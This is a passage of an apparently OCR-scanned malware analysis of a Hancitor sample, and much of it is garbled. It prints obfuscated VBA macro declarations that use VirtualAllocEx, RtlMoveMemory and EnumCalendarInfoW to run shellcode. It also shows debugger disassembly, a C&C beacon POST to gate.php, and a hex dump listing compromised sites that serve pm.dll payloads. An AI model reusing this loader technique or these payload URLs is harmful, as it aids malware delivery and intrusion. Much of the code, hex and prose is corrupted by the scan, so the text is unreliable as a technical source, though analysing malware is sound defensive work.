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2.5 shellcode

6a Rt1lMoveMemory  VirtualAllocEx £ T Nez G [
bilaterallya madid™ T A

Public Declare Function gruidas Lib “kernel32” Alias "EnunCalendarInfolt™ (By¥al shortage As Any, ByVal palermo As Any, By¥al mailboat As dny, ByVal twrbinate As Any) As Lon
‘5528 ean’ t take another complication
Fublie Declare Functisn madid Lik "kernel3Z” Alias "VirtnalillocEx" (dubbin As Long, feere hs Long, ByVal hannover As Lomg, ByVal obwiation As Leng, By¥al cattale As Leng)

on
ib "ntdll. d11° Aliaes "EtlMoveMemory” (eunctande As Any, oldhat As Any, By¥al partaking hs Leng)
#E can’ t take afiother—esmplication
Fublic Declare Function anerecum Lib "user32” Alias "OvenClivboard” (verk s Longl As Boolean

26 P 1

TG ¥ shellcode’ VirtuallocEx Ne W

Q P Rt1MoveMemory  shellcode
[ Ne ¥ p TA

Lam ALLms Lsuus na o
DIim additum A= Long

bilaterally additum, By¥al VerPtr (buddhism) + 5, 4 * $Fbuddhi smAOHhEEE T B addi tun
Dim pericallis Az Integer

Dim obtrusively hs Variant

Dim tit &= Long

merida = 0

leiopelmatidas = -1

babelilke = O

minutely = Int (443 142)

74  buddhismi

~

patella = Abs (57.291)|

semipellucid = 14 + 4082 .
pomelo = madid(By¥al leiopelmatidae, Ey¥al babelilke, T386, semipellucid, 64) B Vir tual 11 ocEx i BOT 305 T F IHIEEE
bismarckian = “envelope”

bilaterally tit, By¥al WarPtr (pomelo) + 5, 4 * gpomeloiibdE M B it
patella = patella + 277
bilaterally ByVal tit, ByVal additum, 5538 * 45 addi tumbtihb o EETIEFE M H] i bk o

tvmpani = &7

2.7 RtIMoveMemory shellcode

8ab H |Fb ” AP P . A
EnumCalendarInfoW £ A~y [ EnumCalendarInfoW #

v ~

EnumDatesFormatW £ s 0 A Waead " YDT Wa g
A

——



Public Declare Function deglutition Lib “user32” Aliss "EndPaint” (fork ks Lonz, dracuneulus As Longz) As Long

“E5# can't take another semplication

Public Declare Functién gruidae Lib "kernel3®” Alias "EnumCalendarInfof” (ByVal shortage As Any, ByVal palermo Az Any, ByVal mailboat As Any, ByVal turbinate Az Any) As Lom
484 can’ t take anothercomptivalion

2.8 EnumcCalendarinfoW £

BOOL EnumCalendarInfo(

2.9 EnumCalendarinfo £ H

AL CLymE An LUl
chyme = marital t+ refuse
Dim ascomycetes As Long
ascomycetes = 124 - 5 - 118
| dispersed = gruidae (chyme, minefield, ascomycetes, ascomycetes) AR EnanC 2l endar Tnf o £
whining = 12

soael

2.10 EnumCalendarinfow £ ~ shellcode b p D~

9a q ¥ } [ EnumCalendarInfoW & T 7~ =
shellcodey A

[Peused | B{ax] w|0] 4] 4] M| =i LJE|M|T|WH|c|/|K|B|R]. 5] 2] sros@me | | |||
[ mov edi,edi “ Registers (FPU)

55 ebp

8BEG nou ebp,esp

6A 08

6A 01

FF75 14 dword ptr ss:[ebp+8x14]
FF75 18 dword ptr ss:[ebp+Bx10]
FF75 0C dword ptr ss:[ebp+OxC]
FF75 08 dword ptr ss:[ebp+8x8]
E8 BSEAFBFF call kernel32.7C83824C

[3 kernel3z.Enuncalendar Infol!

ntd1l.7C97B178

UBE®6 .6508F787 kerneld2.EnunCalendarInfo¥

ES 8823 32bit B(FFFFFFFF)
CS 001B 32bit B(FFFFFFFF)

$3 0023 32bit B(FFFFFFFF)
7LR7070A 1 P fy mee s

pusn eop =
T3 enn.esn CEEEESEE
sub esp. H aadaaaai
rv eax.duard otr Fs:18<301 EE12E7EC  eeeeeeer
mov eax.dword ptr ds:leax+Hx 0012E7FO 060000800

|- [,

2.11 EnumcCalendarinfoW® ~“o 9



D S S R U PR R PR E PP T

|
[Paused [ x| w]m| wi*F $ 0 2] =i L[E|m|r|w[H[c|/]|&[B]®
t

Iy short kernel32.7CBA4BCYS

short kernel32._7C848C75

mouvzx

= 8812E6D0| BO1Z2EFFA

o pusn eop
8BEC mov ebp.esp BB12E6D4| B638F8B4

81EC CCAYBOOO |sub esp.Bx7CC 8012E6DE| 0000000C
1 56060666 nyy eax dwsrd vir [EEE] BE12ESDT| eEEERERE
5 - duara

TR = o .=

2.12 EnumCalendarinfow & shellcode

2.2 0x02. Shellcode

Shellcode b H |k W p PE g b

ecx

ecx
8945 F4 mov dword ptr ss:[ebp-8xC],eax psapi.GetMappedFileNamef
8B75 FC mov i,dword ptr ss:[ebp-8x4]
6A 08
8534111C 56 5
FF55 F8 call dword p#i
65341128| 3BC3




[LEPARRE] 59 ecx

8A521114 8945 F4 mov dword ptr ss:[ebp-8xC],eax
0A521117| 8B75 FC mou esi,dword ptr ss:[ebp-x4]
8A52111A
8a52111C
0A52111D ptr ss:[ebp-0x8] kernel32.IsBadReadPtr
8a521128 X

pax,

eax,ebx
80521122 L I short eas52112¢C
BA52112 81CE FFOFO0886 |or »
8A5 Al ERBE short BA52114F
8A52112C| 813E 53544152 |cmp
8A521132(, 75 1B short BA52114F

8A521134 817E 04 46414C{ cmp

8A52113B[, 75 12 short BAS2114F

8A52113D| 57 edi

BA52113E 8D85 34F8FFFF |lea dword ptr ss:[ebp-8x7CC]
8A521144 50

B8A521145 56

8521146 6A FF

BA521148 FF55 F4 call dword ptr ss:[ebp-8xC] psapi.GetMappedFileNamen
B8A52114B 85C8 test eax,eax

8A52114D(, 75 86 short B8A521155

BA52114F | 46 inc esi

2.13 Shellcode

2.3 0x03. PE dump

0 1

=l
e

a " [ explorer.exe T PE ® dump F Ne
Hancitor n A
2a v - 7 c&c b | H @ A
oH [ENe T  F BbP A3
Fow GUID W “BbP A
A Follow TCP Stream (tcp.stream eq 2) = B

Stream Content

POST /1s5/gate.php HTTP/1.1

Accept: */®

Ccontent-Type: application/x-www-form-urlencoded

ser-Agent: Mozilla /5.0 (windows NT.6.1: winf4: x64: Trident/7.0: ry:11.0Y% Jike Gecko

[

GUID=95374177336452158344&BUTL D=0711&INFO=ABC & ABC
“administrator&IP=2 ETYPE=1&WIN=5.1(x32)HTTP,/1.1 200 OK
Server: nginx/1.6.2

Date: Tue, 08 Nov 2016 08:36:11 avT

romraee Tonnc PAYE OB e v = e

- . T Te—
[
YVEBARRABwW=—
0
] Entire conversation (554 bytes)
() Hex Dump () C Arrays Eind Save As Print | () ASCH
Filter Out This Stream | Close | Help




Address

as120828
a5120838
a5120848
a5120858
A5120868
A5120878
a5120888
851208908
851208008
851208808
B51208ca
85120808
B51208E8

B51206F0
A51281840
ﬂﬁj?ﬁ11ﬂ

Hex dump

[ilH
61
iy
63
60
iy
63
67
7@
69
69
2F
6D
2E
2F
7

3A
ia
65
iy
iC
62
6F
GF
6D
GF
G6E
iy
2E
G6E
7@

T

68
i2
GE
5
68
5
GE
6F
2E
A
2F
69
6B
65
6D
2F

2.14 C&C

T
T
i3
2F
6E
G2
75
70
78
i7
68
GF
68
63
4

TG 2F
""EbJEZ‘EEIEH’

T
78
2F
78
74
72
67
7L
3A
78
7L
GE
2D
[i1H
78
i

2E
2D
69
[i])]
65
2F
69
69
2F
2D
i
i3
[i])]
75
3A

AE .

[i]H
63
6E
2E
72
i7
6E
63
2F
61
78
2E
65
G4
2F
1))

75
6F
[
G4
6E
7@
i3
i3
i
G4
3A
63
i
65
2F
2E.

ia
GE
69
il H
65
2D
2F
2F
i2
G
2F
GF
61
i3
i7
iz

ASCII

1:http:z/ www_ lup
aprod.comfwp-con
tent/themes/invi
ctus_3.3.3/pm.dl
l|http://interne
tbudi .com.brfwp-
content/plugins/
googleanalytics/
pm.dll|http://itr
iozift.nl/wp-adm
in/pm.dll|http:sf
/timesessions.co
m.kosmos .ch-meta
-netfwp-includes
Apm.dll|http:z//u
'F mindadv . comdunl

!?"lzfn+3‘:




APT

XU RTSR
uantity As LongPtr, couple As LongPtr, ByVal port As LongPtr, ByVal concertina &

< LongPtr, ByVal hamamelidae As LongPtr) As LongPtr’
’Public Declare PtrSafe Function cumulonimbus Lib "kernel32” Alias “Sleep” (alls

be LonaREh ok =

"Public Declare Function gruidae Lib "kernel32” Afias “EnunCalendarInfoll” (B

shortage Az Any. ByVal palermo As Any. ByVal mailbdw@s Any. EyVal tush

s Any) As Long’
"Public Declare Function madid Lib “kernel32” Alias "VirtualallocEx” (dubbin As

Leng. feeze As Lonz. ByVal hannover As Long, ByVal cbviatien As Lomg. EyVal catt

alo As Leng) 4= Long’
’Public Declare Function nenticirrhus Lib “kernel32" Alias “Sleep” (coaming 4z L

ong)’
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